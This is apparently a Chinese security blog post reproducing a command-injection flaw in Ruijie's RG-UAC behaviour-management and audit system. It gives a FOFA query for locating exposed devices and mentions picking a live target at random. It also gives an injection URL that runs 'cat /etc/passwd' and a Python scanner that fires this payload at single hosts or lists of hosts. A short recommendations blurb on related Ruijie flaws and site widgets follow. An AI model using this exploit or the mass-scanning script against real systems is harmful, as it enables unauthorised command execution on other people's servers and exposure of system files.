【漏洞复现】锐捷统一上网行为管理与审计系统——naborTable/static_convert.php——命令执行

声明:本文档或演示材料仅供教育和教学目的使用,任何个人或组织使用本文档中的信息进行非法活动,均与本文档的作者或发布者无关。


漏洞描述

锐捷统一上网行为管理与审计系统naborTable/static_convert.php接口存在远程命令执行漏洞,导致恶意攻击者可以执行命令获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。

漏洞复现

1)fofa搜索:
title="RG-UAC登录页面"

在这里插入图片描述

随机选择幸运观众~

在这里插入图片描述
构造url:
xxx.xxx.xxx/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd

测试工具

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 导入所需的模块
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

# 定义红色和重置颜色的ANSI转义序列,用于终端输出高亮显示
RED = '\033[91m'
RESET = '\033[0m'

# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# 定义一个函数用于检查URL是否存在特定漏洞
def check_vulnerability(url):
    try:
        # 构造攻击URL,尝试利用naborTable命令执行漏洞
        attack_url = url.rstrip('/') + "/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd"

        # 发送GET请求,不验证SSL证书,设置超时为10秒
        response = requests.get(attack_url, verify=False, timeout=10)

        # 检查响应状态码和响应内容,判断是否存在漏洞
        if response.status_code == 200 and 'root' in response.text:
            print(f"{RED}URL [{url}] 可能存在锐捷统一上网行为管理与审计系统naborTable命令执行漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.RequestException as e:
        # 打印请求过程中的异常信息
        print(f"URL [{url}] 请求失败: {e}")

# 定义主函数,解析命令行参数并执行检测
def main():
    # 创建解析器,添加描述和参数
    parser = argparse.ArgumentParser(description='检测目标地址是否存在锐捷统一上网行为管理与审计系统naborTable命令执行漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    # 解析命令行参数
    args = parser.parse_args()

    # 如果提供了URL参数,则检查该URL
    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    # 如果提供了文件参数,则从文件中读取URL列表进行检查
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not args.url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

# 程序入口点
if __name__ == '__main__':
    main()

过程截图:
在这里插入图片描述

  • 16
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
锐捷EG网关和NBR路由器是锐捷公司生产的网络设备,近期被曝出存在命令执行漏洞。 该漏洞的存在使得攻击者能够通过特制的网络请求执行恶意命令,从而导致系统被入侵和控制。其中锐捷EG网关的漏洞编号为CVE-2017-17408,而NBR路由器的漏洞编号为CVE-2017-17409。 攻击者可以通过发送恶意的HTTP请求或者其他网络请求来利用这些漏洞。一旦成功利用,攻击者可以执行任意命令并获取系统权限。这些命令可能包括修改配置、获取敏感信息或者部署其他恶意软件等。 这些漏洞的存在给网络安全带来了潜在的威胁。攻击者可以通过利用这些漏洞对网络设备进行攻击,窃取敏感信息、破坏网络服务或者入侵其他网络设备。 为了解决这些漏洞的问题,锐捷公司已经发布了相应的安全补丁,并且建议用户尽快升级相关设备的固件版本。同时,用户还应该加强网络设备的安全配置,限制对设备的网络访问、设置强密码、及时备份设备配置等。 作为网络设备的用户,我们也应当关注设备厂商的安全公告,定期检查更新并安装相关补丁。此外,加强网络设备的监控和日志记录,及时发现和防范异常行为也是非常重要的。 总之,锐捷EG网关与NBR路由器命令执行漏洞的曝光提醒我们网络安全问题的重要性,需要及时采取相应的措施来保护网络设备和数据的安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值